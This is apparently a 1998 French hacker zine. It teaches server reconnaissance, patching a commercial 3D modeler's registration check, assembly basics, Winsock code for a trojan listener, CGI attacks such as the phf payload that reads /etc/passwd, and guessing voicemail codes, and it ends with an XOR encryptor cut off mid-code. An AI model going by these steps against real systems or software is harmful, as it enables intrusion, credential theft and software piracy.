Copy Link
Add to Bookmark
Report
Malicia Production Zine 1
*-----------------------*
**Malicia Production Zine**
*-----------------------*
NuMbEr 1
Introduction:
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Pour permettre une plus grande diffusion de mes cours&travaux j'ai dcid
de les sortir sous forme d'un zine. Pour tout dire j'ai essay de crer
un zine mais ne trouvant pas beaucoup d'crivains comptants j'ai dcid
d'en crire un tout seul mais qui sera sans doute plus interessant :).
<SaTaNiK>
Sommaire:
ÄÄÄÄÄÄÄÄÄ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄ¿
³ Titre de l'article: ³ Sujet: ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´
³ Comment obtenir des infos sur un site ³ Linux ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´
³ Cours de Cracking 1 ³ Cracking ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´
³ Initiation
l'asm ³ Asm ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´
³ Programmation d'une taupe basique ³ Tauping ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´
³ Cgi-Bug ³ Security ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´
³ VMS/PBX ³ Phreaking ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄ´
³ Initiation au cryptage ³ Cryptage ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÙ
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
Comment obtenir des infos sur un site???
----------------------------------------
Obtenir des infos sur un site est quelquechose de primordial et en fait c'est
la base du Hacking!!! Je vais donc ici vous expliquer qques commandes de
base pour obtenir des informations sur le serveur cible...
**********
**Finger**
**********
#finger @www.cible.com
[www.cible.com]
Login Name Tty Idle Login Time Office Officephone
root root 2 3d Jun 26 03:20
SaTaNiK Billou p2 1 Jun 29 16:14
Vous l'avez sans doute compris, cette commande permet de savoir qui est
en ce moment en ligne sur le serveur cible. Ici on peut voir que le root
oubli de quitter car aucune touche n'as t appuy depuis 3 jours.
Mais
quoi peut nous servir cette commande vous demandez vous? Et bien tout
simplement
savoir quel sont les accounts les plus utiliss...car si
vous hackez le site il vaut mieux utilis un account utilis assez souvent...
********
**Host**
********
#host -a www.cible.com
Trying domain "www.cible.com"
rcode = 0 (Success), ancount=1
cible.com 60480 IN CNAME www.cible.com
www.cible.com 60480 IN HINFO VAX-11/780 VMS
For authoritative answers, see:
cible.com 60480 IN A mail.cible.com
Cette commande utilis avec l'option -a pour avoir le plus d'information
possible permet de rcuprer des informations sur la cible, ici nous avons
comme information que le serveur est de type VAX et qu'il tourne sous VMS...
Il ne vous reste plus qu'a chercher les bons vieux exploits pour ce type de
machine...on voit aussi que le serveur mail de la cible est mail.cible.com,
ce qui peut toujours tre utile ;).
**********
**Httpds**
**********
#telnet www.cible.com 80
Trying 123.123.123.123...
Connected to www.cible.com.
Escape character is '^]'.
> GET / HTTP/1.0
HTTP/1.1 200 OK
Date: Tue, 03 Feb 1998 03:02:40 GMT
Server: Apache/1.2b4
Connection: close
Content-Type: text/html
Last-Modified: Wed, 02 Feb 1998 11:45:03 GMT
ETag: "13d04-b3-11226543"
Content-Lenght: 666
Accept-Ranges: bytes
Cette commande peut soit tre appliqu sur le port 80 ou parfois 8080 si il
y a un proxy. Elle nous permet de savoir que les serveur www.cible.com
utilise Apache/1.2b4 et encore une fois plus qu'a chercher des exploits pour
ce serveur :).
********
**Smtp**
********
#telnet www.cible.com 25
Trying 123.123.123.123...
Connected to www.cible.com.
Escape character is '^]'.
220-www.cible.com Sendmail 8.4.12/8.4.12 ready at Thu, 28 Jun 1998
03:57:20 +0100
220 ESMTP spoken here
Ici on obtient la version du Sendmail qui est de tout vidence une version
avec de nombreux holes =).
Voila ce sera tout mais c'est deja pas mal non :)?
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
----------------
Cours de Cracking 1
----------------
Bonjour et bienvenue dans la premire leon de cracking.
Comme vous vous en doutez surement cette leon est ddi au dbutants qui ne
savent rien du cracking :). D'abord une petite explication sur ce qu'est
un crack, un crack est un petit programme qui modifie un fichier executable
dans le but de changer son fonctionnement, par exemple de changer la faon
dont il reagit quand vous cliquer sur register en inversant la condition si
serial bon enregistre en si serial faux ou bon enregistre :). Bon maintenant
que vous savez ce qu'est un crack voyons les outils dont vous aurez besoin
pour cette leon.
-FxEdit
Ce logiciel est un diteur hexadcimal qui permet de modifier les codes des
instructions sans avoir
tout recompiler. Ils en existe beaucoup d'autres
et j'utilise celui la car c'est le premier que j'ai eu :).
-W32Dasm V8.9
Ce logiciel permet de dsassembler les programmes que vous voulez crackez,
c'est
dire de transformer les chiffre illisibles du fichier executable en
instructions assembleurs beaucoups plus comprhensible par l'homme.
Bon pour apprendre y a pas trente-six solutions, il faut cracker ;).
Notre premire cible sera Moray V3.0, c'est un modeleur pour le moteur 3D
P.O.V, qui est un freeware, et ce modeleur coute....ark 89$......c un malade
ce mec, on va lui mettre un bon fatal kick dans sa protection :).
D'abord on lance Moraywin et on observe...bon d'abord il nous fait
attendre 6 secondes l'encul de programmeur :), une fois ces 6 secondes
couls on va dans Help->Register et on entre un nom et un serial
bidon(123456 par exemple). Et la ce mchant programme nous dit "Registration
Failed" et "Please make sure etc". Bon on retient puis on copie le fichier
Moraywin.exe dans un autre rpertoire et on le dsassemble. Une fois ce
dsassemblage finit vous allez dans search->Find Text et vous tapez
allez "Please Make" et vous atterrissez normalement la:
******************************************************************************
:0051D5C0 E83CA6FEFF call 00507C01 //Appele la procedure de
//Verification du Pass
:0051D5C5 83C404 add esp, 00000004
:0051D5C8 85C0 test eax, eax //teste eax
:0051D5CA 7544 jne 0051D610 //si pas
1 jump
:0051D5CC 8B4508 mov eax, dword ptr [ebp+08]
:0051D5CF 50 push eax
//BAD GUY YOU GAVE ME A BAD PASS :))
* Reference To: KERNEL32.DeleteFileA, Ord:004Eh
|
:0051D5D0 FF15C4005C00 Call dword ptr [005C00C4]
:0051D5D6 6A00 push 00000000
:0051D5D8 6A00 push 00000000
* Possible Reference To String Resource ID=41201: "Please make etc..."
:0051D5E0 68F1A00000 push 0000A0F1
******************************************************************************
A la ligne 0051D5CA il y a un jump conditionnel, et on voit plus bas
que si celui ci n'a pas lieu est bien le message d'erreur s'affiche....donc
il FAUT que ce jump est lieu :). Donc un petite modification s'impose il faut
changer ce saut conditionnel en jump, pour cela il suffit de changer
le premier code du saut(75). Pour cela nous lanons FXedit et nous recherchons
la chaine hexadcimale: "75448B450850FF15" et nous modifions le premier
code(75) en jump, c'est
dire EB.
Pour finir on lance ce cher Programme on va dans Help-Register
on tape un nom, puis un serial bidon et clique sur ok :) et la hoooooooo
miracle le logiciel se recharge et plus d'cran qui vous fait attendre 6
secondes, et si vous allez dans help->about il est crit Registered To:votre
nom. Magique non?
J'ai mis 2 minute pour cracker ce logiciel qui vaut 89$ :)). Comme
quoi le prix ne fait pas le moine(mais quesque je raconte moi????). Bon
pour la prochaine fois vous aurez comment utiliser Softice V3.2, un dbuggeur.
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
--------------------
Initiation
l'asm 1
--------------------
L'asm est le language au plus bas niveau qu'y existe (aprs ce sont des
chiffres...) et c'est celui qu'on utilise pour optimiser les programmes dans
les fonctions qui utilisent beaucoup de temps machine (3D, les effets dans les
dmos, etc) et pour les rendrent plus rapides. Evidemment le language asm
n'est pas des plus simples et si vous voulez commencez
programmer commencez
par le C mais surtout pas par l'asm!!! Dans cette premire leon je vais
aborder la structure de base de l'asm que sont les registres, les
interruptions et la pile.
Bon pour faire de l'asm c'est pas compliqu il faut 2 logiciels:
-Un diteur de texte
-Un assembleur pour transformer les instructions en chiffre :)
Pour l'diteur de texte moi j'utilise AsmLab, un logiciel qui a une interface
un peu comme celle de turbo C/C++ mais pour l'asm. Mais sinon vous pouvez
utiliser edit du dos qui fait a trs bien...
Pour l'assembleur j'utilise Turbo Assembleur V5.0 de Borland qui fait a trs
bien(et donc tout les programmes qui seront dans ce tutorial seront compils
avec Tasm), il en existe d'autres comme Masm et ils ncssiteront un peu de
changement dans votre code...mais bon a ira quand mmme :).
Pour apprendre la meilleure solution consiste
regarder le travail des autres
, et bien je vais commencer par vous mettre un petit exemples sous les yeux:
;*****************************************************************************
.MODEL SMALL ;Petit model mmoire
.386 ;Utilise les fonctions jusqu'au 386
.STACK 100H ;La pile....explication plus loin
.DATA ;SEGMENT de donne
MESSAGE DB "Coucou de l'asm$" ;Une variable qui contient une chaine
;de caractres
.CODE ;Le code du programme
debut: ;Reference du debut du programme
MOV AX,@DATA ;Initialise le segment de donn
MOV DS,AX
MOV AH,09 ;Met 9 dans le registre ah
MOV DX,OFFSET MESSAGE ;Met l'addresse de message dans dx
INT 21H ;Lance la fonction 9 de l'interruption 21H
;qui affiche un message
MOV AX,4C00H ;Met la valeur hexadecimale 4C00 dans ax
INT 21H ;Lance la fonctions 4C de l'interruption 21H
;qui arrete le programme...
END debut ;informe l'asm que le programme commence
debut...
;*****************************************************************************
Ca va vous avez reussi
lire tout a?
Bon plus qu'a le compiler :).
Vous sauvez ce texte sous euh par exemple sous Test.asm et vous
lancez les commandes suivantes(si vous utilisez Tasm sinon je
sais pas):
Tasm Test.asm
Tlink Test.obj
Et vous voila avec un beau executable(Test.exe) qui affiche un joli message
tout plein :). Bon maintenant expliquons plus en dtail ce programme:
.MODEL SMALL
;Dfinit un petit segment mmoire, ne vous cassez pas la tte avec a :))
.386
;Le programme ne contient pas de fonctions qui font appele
plus puissant
;que 386
.STACK 100H
;Dfinit une pile qui n'est d'ailleur pas utilis dans le programme :)
.DATA
;Definit un segment qui contiendra toute les donnes mais pas
;de code executable
MESSAGE DB "Coucou de l'asm$"
;Definit une chaine de caractre avec l'instruction DB qui en fait dfinit
;soit un nombre d'1 byte(comme un char sous C) soit une chaine de nombre, une
;chaine de caractre quoi...
;Cette chaine finit par un $ car l'interruption qu'on va lancer plus loin
;arrte l'affichage au premier '$' trouv...
.CODE
;dfinit un segment qui ne contient que du code
debut:
;Il faut bien que le programme commence quelque part non?
MOV AX,@DATA
MOV DS,AX
;Initialise le segment DS avec l'adresse du segment DATA pour que l'ordinateur
;sache ou sont les donnes, on passe par le registre AX car l'asm refuse
;que l'on mette directement une valeur mais il accepte que l'on mette
;la valeur d'un registre(c chiant mais c comme a)
MOV AH,09H
;Met la valeur 09 dans le registre ah qui est en fait la partie haute de
;AX, l'on aurait put tout aussi bien crire 'mov AX,0900H', cela aurait
;aussi mit AH
09 mais cela aurait aussi mit AL(la partie basse de AX)
0
;, ce qu'on ne desire pas...
MOV DX,OFFSET MESSAGE
;Met l'adresse de la donn MESSAGE dclar plus haut dans DX
INT 21H
;Lance l'interruption 21H qui est l'interrution du dos, cette interruption
;regarde le contenue de ah et lance la fonction correspondante, ici elle lance
;la fonction 09 qui affiche le message dont l'adresse est stock dans DX
MOV AX,4C00H
INT 21H
;Memme chose que plus haut mais cette fois ci c'est la fonction 4C qui arrete
;le programme, l'on est oblig de mettre ces 2 lignes sinon l'ordinateur
;plante ou windoz arrete le programme...
END debut
;Informe tasm que le programme commence
debut, un label qui est dfinit plus
;haut dans le programme
Bon voila, aprs avoir dtaill soigneusement ce programme je vais parler
des registres.
Il existe 4 principaux registres: AX,BX,CX et DX. Chaqu'un de ces registres
est 16-bits(comparable a un int en C) mais les 8 bits suprieurs et infrieurs
peuvent tre accds grace
AH(partie haute de ax) AL(parite basse de ax), de
mmme avec BX avec les registres BH(partie haute) et BL(partie basse), et
toujours la mmme chose avec CX et DX avec les registres CH, CL, DH et DL.
Ces registres sont comparables
des variables en C
l'exception prs
qu'ils sont plus rapide en temps-machine et qu'ils existent ds le lanement
de la machine. Ces registres existent aussi en version 32-bits
partir
du 386, ils sont alors appels EAX,EBX,ECX et EDX mais la partie haute des
32 bits ne peut tre accde directement.
Il existe aussi les registres de segment, il en existe 3 importants: CS, DS
et ES. CS contient l'adresse du code executable et quand vous lancez le
programme CS pointe automatiquement sur le code executable, donc n'y
touchez pas... DS lui au demarrage pointe aussi sur le code executable alors
qu'il doit referencer les donnees, il est alors necessaire de faire pointer
ce segment sur le segment DATA par les 2 lignes suivantes au debut du code
executable:
;***********
MOV AX,@DATA
MOV DS,AX
;***********
ES est lui un registre suplmentaire qu'y peut servir
contenir un segment
supplmentaire, un autre segment de DATA par exemple car un segment ne
peut dpasser les 64000 octets d'ou son utilis.
Il faut que vous sachiez aussi qu'il existent aussi 2 autres registres
que sont SI et DI, il peuvent servir comme AX, BX, CX et DX
contenir
des nombres mais il servent surtout
copier des zone mmoires et
faire
des comparaisons.
Les interruptions sont en fait des fonctions qui peuvent tre lanes par
une simple commande qui est INT suivit du numro de l'interruption.
Les interruptions sont ce qu'il existe de plus simple
utiliser en asm.
Il existe diffrentes interruptions:
-10H pour les graphismes
-14H pour le joystick
-17H pour l'imprimante
-21H pour les fonctions DOS
Il en existe videmment plus que cela....
Chaqu'une des ces interruptions contient plusieures fonctions, le numro de
la fonctions doit tre mit dans AH avant le lancement de l'interruption.
Normalement avec ce texte doit tre fournit un logiciel: HELP-PC qui contient
une liste d'interruption avec en plus une liste de toutes les fonctions
de l'asm :).
Maintenant une petite explication de ce qu'est la pile.
La pile, n'est pas comme vous pouvez vous l'imaginez une pile qui fournit
de l'nrgie mais bien une pile de chiffre, eh oui :). Si vous lisez ce
texte vous devez surement deja avoir fait du C, alors vous devez savoir
que le nombre de variable est souvent important et si vous avez bien lu
les lignes plus haut qui concernaient les registres vous devez vous tre
rendu compte qu'il n'y en a pas beaucoup...Nous arrivons donc ici
l'utilit
de la pile qui permet de preserver le contenue d'un ou de plusieurs registres.
Mais comme avec une pile d'assiettes vous ne pourrez pas retirez une valeur
qui se trouve en bas de la pile s'en en avoir enlev le dessus. Bon je ne suis
peut-tre pas trs clair mais ce programme va peut-tre eclaircir vos
ides:
;***********
MOV AX,34315
MOV DX,123 ;met dans les registres AX et DX des chiffres
PUSH AX
PUSH DX ;met ces 2 registres sur la pile
MOV AX,946
MOV DX,555 ;Change le contenue de ces 2 registres
POP DX
POP AX ;AX et DX contiennent de nouveau 34315 et 123
;***********
Si a la fin du programme nous avions mis POP AX puis POP DX alors AX
contiendrait 123 et DX, 34315.
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
-------------------
Creation d'un socket23
-------------------
Eh oui voila le premier guide sur la programmation des taupes :).
Ce document ne s'adresse qu'aux programmeurs :)...pas aux petits lamerz
car je ne distribuerai ni source ni executable :)). Je dis a car on voit
une incroyable quantit de sale petit lamerz qui rclame des taupes...ils ne
trouveront pas ici ce qu'ils cherchent :)). Bon sinon pour compiler une taupe
vous aurez besoin d'un compilateur pour windoz 95..Borland C++ par exemple...
moi j'utilise Watcom C++ 10.6. Ha autre chose vous devrez inclure <winsock.h>
et <windows.h> pour pouvoir utiliser les sockets :).
Pour faire une taupe, il suffit, en rsum d'ouvrir un port pour que
vous puissiez entrez dans le systme de l'imbcile qui l'a executer...Pour
faire cela il y a differentes tapes
suivres:
1-Initialiser le systme des sockets
2-Initialiser un socket
3-Ouvrir un port sur le socket
4-Mettre ce port en lecture
5-Attendre une connection sur ce port...
Nous allons tudier chaqu'une des tapes prcdente...
Windoz(et seulement lui)
besoin d'initialiser un systme de
socket...cette commande ce fait via la fonction 'WSAStartup'. Cette
fonction prend plusieurs paramtres: le premier est la version du socket
dsire et le second un bloc d'information gnral des sockets.
Le premier paramtre est un mot dont le byte haut est le moins important et
le byte bas le plus important. Le deuxime paramtre est une structure de
type WSADATA...
En cas d'erreur la fonction renvoie une valeur differente de zero.
ex:
int Version_requise;
WSADATA data_socket;
Version_requise=MAKEWORD(1,1);
WSAStartup(Version_requise,&data_socket);
Pour crer un socket il existe une commande trs simple...socket :).
Elle prend 3 paramtre, le premier est relatif au type de rzo utilis, le
deuxime dfinit le type du socket et le dernier est relatif au type de
protocole voulu.
Le premier paramtre sera toujours AF_INET pour nous car c'est le seul
accpt par windoz. Le deuxime sera SOCK_STREAM pour permettre l'change
dans les 2 sens failement et le dernier sera toujours 0 car nous ne voulons
pas spcifier de protocole prcis...
La fonction renvoie un unsigned qui sera le numro du socket ou alors
INVALID_SOCKET si l'initialisation rate.
ex:
unsigned the_socket;
the_socket=socket(AF_INET,SOCK_STREAM,0);
Ouvrir un port sur un socket ce fait via la fonction bind. Cette
fonction prend 3 paramtre, le premier est le numro du socket, le
deuxime est un structure de type SOCKADDR_IN et la 3me est la taille
de la structure prcdente...
La structure SOCKADDR_IN contient plusieurs paramtre
initialiser
d'abord ->sin.family qui contient la famille du socket donc AF_INET, ensuite
->sin_addr.s_addr qui sera toujours
0 et enfin ->sin_port qui contiendra
le numro du port en network byte pour avoir cela il suffit de rcuprer la
valeur renvoy par htons(numro_du_port)...
Cette fonction renvoie une valeure differente de zero en cas d'erreur.
ex:
SOCKADDR_IN info_socket;
info_socket.sin_family=AF_INET;
info_socket.sin_addr.s_addr=0;
info_socket.sin_port=htons(1234);
bind(the_socket,(LPSOCKADDR)&info_socket,sizeof(info_socket));
Cette commande ce fait via la fonction listen. Cette fonction trs
simple ne prend que 2 paramtres...le premier est le numro du socket et
le second le nombre de thread(connection maximum sur le socket?).
Si tout se passe bien la fonction revoie zero.
ex:
listen(the_socket,1);
En fait la intervient un truc qui nous failite la vie :). C'est
la commande accept. Cette commande en fait accepte une connection si il
y en a une et si il n'y en a pas elle met le programme en pause en attendant
une...magnifique non?
Bon donc cette commande prend 3 paramtres, le premier est le numro
du socket qu'on attend, le deuxime un pointeur sur une strucutre SOCKADDR_IN
et le troisime la taille du prcdent...
Cette fonction renvoie un socket temporaire qui est en fait la
connection tablit...c un unsigned comme un socket normal...
ex:
int taille;
unsigned socket_connection;
SOCKADDR_in info_socket_2;
taille=sizeof(SOCKADDR_IN);
socket_connection=accept(the_socket,(struct SOCKADDR *)&info_socket_2,&taille);
Bon comme je viens de le dire la command accept met le programme
en pause tant qu'il n'y a pas de connection...donc rien de plus simple que
de faire par exemple ceci:
infinit_loop:
socket_connection=accept(the_socket,(struct SOCKADDR *)&info_socket_2,&taille);
MessageBox(NULL,"Salut mec :)","Hello",MB_OK);
shutdown(the_socket,2);
shutdown(socket_connection,2);
goto infinit_loop;
Cette simple boucle fera que le programme attend votre connection, puis
quand vous vous connectez sur le port affiche une MessageBox, quand
l'utilisateur clique ok cela ferme la connection, et il attend de nouveau
pour la connection et ainsi de suite :).
Bon vous voyez c'est pas dur de faire une taupe(quand on sait
programmer bien sur :)). La fois prochaine je ferais un cours sur
comment faire un interface et d'autres trucs :). Finalement j'ai dcid
d'inclure la taupe dans ce zine car elle est innofensive :).
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
///////////\\\\\\\\\\\
--Cgi??? What's the deal???--
///////////\\\\\\\\\\\
Bon ce que je vais vous expliquer ici c les differents bugs qui se
trouve dans les rpertoire des cgi-bins...........
Cela peut sembler bte mais c pourtant parfois le plus difficile....
Il existe plusieurs rpertoire o pouvent se trouver les scripts cgi/perl...
http://www.host.com/cgi-bin/
http://www.host.com/cgi-win/
Voila les 2 principaux endroits ou ils peuvents se trouver, mais
il se peut tout
fait que les scripts ne soit pas l
, dans ce cas l
il
faudra rechercher sur la page un compteur(il utilise assez souvents des
scripts cgi), un questionnaire, ou qqchose d'interactif....
Une fois le rpertoire trouv il reste
trouver les scripts...
-phf bug-
Ce bug reprend un principe trs simple qui est en fait le bug qui est
dvellop pour tout les autres scripts....Ce bug est tout simplement du
au fait que le scripts ne verifie pas les caractres que vous envoyez...
Il suffit donc d'utiliser le signe ? pour passer un paramtre
plus le signe % suivit du code hexadcimal de ENTER(0A)....Un exemple de
l'utilisation de ce bug:
http://www.host.com/cgi-bin/phf?%0a/bin/cat%20etc/passwd
Cette commande
tout simplement comme but de lister le fichier password de la
cible :).
-nph-test-cgi-
Ce script est encore assez prsent et est sans doute le plus puissant de tous
car il permet de lister n'importe quel rpertoire sur le serveur....Il peut
servir par exemple
trouver des backdoors sur des serveurs XXX ou
lister
le rpertoire cgi-bin et ainsi trouver le scripts attaquable. Pour l'utiliser
il suffit de faire passer un paramtre avec ? et de faire suivre par *:
http://www.host.com/cgi-bin/nph-test-cgi?*
Liste le rpertoire cgi-bin :).
Pas de bol, le script nph-test-cgi n'est pas prsent dans le
rpertoire, il y a encore une solution et cette solution c'est FTPSearch :).
On ne le dira jamais assez ce moteur de recherche est gnial(pas seulement
pour les hackeurs =). Vous n'avez qu'a chercher par exemple phf et il vous
donnera un liste de ftp avec phf, il suffira de changer le ftp en http avec
la bonne directory :).
J'avais envie d'crire a pour donner des ptits infos sur le hacking,
mais a ne fera pas de vous un hackeur, car un hackeur trouve par soi mmme...
Il existe videmment beaucoup plus de bugs que ceux decrit plus haut...
Bon toute les informations ci-dessus on t principalement trouv
sur le site de fravia mais j'ai voulu le "traduire" en franais pour le
rendre plus accessible
tous :).
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
***VMB/PBX Story***
Il tait une fois, dans une ville, dans un quartier, dans une maison
qqun qui s'ennuyait, il ne savait pas trop quoi faire. Alors lui vint une
ide, il prend le bottin des telecoms, regarde et cherche un entreprise
quelconque. Il commence par A et puis tombe sur une socit qui doit pas
avoir une bonne scurit ;).
Il regarde d'abord sa montre, 2 heures du mat, c bon il dorment :)).
Il compose le numro et coute...'Bip, bip, bienvenue
XXX, nous ne sommes
malheuresement pas l
, etc'. Il tatonne un peu et puis appuye sur zero et l
il entend le message divin: "Appuyer sur 1 pour acceder
une voite vocale,
2 pour envoyer un message et 3 pour personnaliser votre boite vocale."
Il appuie sur 1 et entend "Veuillez entrer votre code personnel".
Il tatonne essaye 111,222,333 ha et merde le truc racroche toutes les 3
erreurs. Ttu notre personnage continue et finit par trouver un code: 999.
Et la de nouveau, coup de bol, la messagerie ne demande pas de code!!!!
Il semblerait que cettes boites vocales soit celle de l'acceuil car
elle contient beaucoup de messages assez vagues sur la culture des ognions
en passant par le domptages des autruches :)).
Notre personnage va se coucher, il est fatigu...Le lendemain soir
il se relance sur la messagerie et il
un coup de gnie, si j'essayais les
3 derniers chiffres du numro de telephone, et oui a marche. A l'aide de
cette mthode notre curieux personnage rcupre tout les numros de boites
vocales(et donc les codes) et marque ceux qui ne fonctionnent pas...
Puis il s'amuse, coute les messages et ainsi de suite. Puis il
trbuche et appuie involontairement sur le 7..."Veuillez tappez cotre code
personnel"...tiens bizarre...il tape un des nombreux codes qu'il
rcupr
et coute, "Votre boite vocale n'as pas pour le moment de numro de rappel,
si vous voullez en entrer un appuyez sur 1"....Youhouuuuu c le gros lt :).
Il tappe 1 et entre un numro de telephone en 36 68 :)). Bon il
compose le numro de la boite auquel il a assign le rappel. Mais non rien
le rappel ne fonctionne pas, il a du tre dsactiv :(. Bon, le coeur un peu
du, notre phreaker rflchit un peu, et puis se met
un nouveau boult...
Il essaye toutes les botes vocales qui ne marchait pas et donc les
numros de tlphones spciaux....Il tombe sur plusieurs standards, des fax,
et tiens c bizzare, a sonne pas tout
fait comme un fax...Notre phreaker,
bien quip comme toujours, branche son modem, lance HyperTerminal, et
lui ordonne d'appeler ce numro, le logiciel appeur obeit :).
Et ouiiiiiii, c'est un modem, j'vais pouvoir tlcharger plein de
files et tout gnial!!!!!!! Connection 2400 bauds......haaaaaa ok c pas trop
le fun, tiens ya un chti curseur mais pas de prsentation, il tappe des
commandes qui lui rpondent bizarement....c quoi le prob!!!!!
Et oui vous l'aurez deviner, ce personnage etrange et mysterieux,
c moi :). Bon effectivement j'ai pas trouv quel type de reseaux c'tait...
Peut tre qqchose de propritaire???? Bref si vous pouvez m'tre d'une aide
quelconque n'hsitez pas:
**********************************************
>help;
HELP AUTO = 3F EXCL = 80
0 CDE 2 LABEL 1 2
0 TAB 2 LABEL 1
0 TAB 2 LABEL 1
>TEST;
*** REF : 31
*** SYN : 0F
>HELP TEST;
TEST AUTO = 03 EXCL = 80
0 FC 1 FC 0 1 2 6
0 NA 2 DECIMAL 0 1 2 6
1 ADG 2 CC/L/T 1 2 6
2 P1 1 HEXADECIMAL 1 2 6
3 P2 1 HEXADECIMAL 1 2 6
4 P3 1 HEXADECIMAL 1 2 6
>S;
*** REF : 31
*** SYN : 0F
*** SYN : 0F
**********************************************
Bon voila un log trs court mais si vous arrivez
l'identifier
n'hsitez pas.....freaking@caramail.com
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
Initiation au CræpÅage
!!!!!!!!!!!!!!!!!!!!!!
Je ne vais pas vous proposez de casser des chtis codes non, pas cette fois, je
vais commencer par vous apprendre quelques notions de cryptage plutt simple,
nous apprendrons mmme
faire un crypteur de fichier :).
En fait il existe des milliers de mthode de cryptage possible mais nous
allons nous interesser
la plus simple, le XOR. en fait xor est une
instruction asm qui est trs amusante:
mov ax,239
;AX contient 239
xor ax,123
;AX contient 148
xor ax,123
;AX contient 239
Magique non? on dirait un cryptage et un decryptage tout en beaut :).
Le tout est de savoir par quoi xorer le nombre....pour cela je vous propose
une exemple conu par mes soins...mais il n'est videmment pas efficace
pour proteger un fichier car beaucoup trop simple...
*************************************************************************
//INCLUDES NECESSAIRES POUR TOUT LE BAZARD
#include <process.h>
#include <string.h>
#include <iostream.h>
#include <conio.h>
#include <ctype.h>
#include <stdio.h>
#include <malloc.h>
//PROGRAMME
void main(int argc, char *argv[])
{
unsigned long taille; //TAILLE DU FICHIER A CRYPTER
unsigned long index;
unsigned char *buffer; //BUFFER POUR LES DONNEES CRYPTES
unsigned char crypt=33; //INDEX DU CRYPTAGE
unsigned long crypting_index; //CE QUI FAIT QUE CA CHANGE A CHAQUE FOIS
FILE *to_crypt;
FILE *crypted;
printf("Spiritic Crypter By SaTaNiK V0.1\n\n");
//SI LES 2 ARGUMENT NE SONT PAS PASSES ALORS...
if(argc!=3)
{
printf("Usage:\n");
printf("Crypter <source_file> <crypted_file>\n");
exit(0);
}
//TENTE D'OUVRIR LE FICHIER A CRYPTER
to_crypt=fopen(argv[1],"r+b");
if(to_crypt==NULL)
{
printf("Can't open source file...\n");
exit(1);
}
//TENTE DE CREER LE FICHIER CRYPTE
crypted=fopen(argv[2],"wb");
if(crypted==NULL)
{
printf("Can't create crypted file...\n");
exit(1);
}
fseek(to_crypt,0,SEEK_END);
taille=ftell(to_crypt); //RECUPERE LA TAILLE DU FICHIER ET
//LA MET DANS LA VARIABLE TAILLE
fseek(to_crypt,0,SEEK_SET); //REMET LE POINTEUR AU DEBUT DU FICHIER
//VERIFIE SI LE FICHIER N'EST PAS TROP PETIT OU PAS TROP GRAND
if(taille==64000||taille<100)
{
printf("Can't crypt this file, it's too big or too small...\n");
exit(1);
}
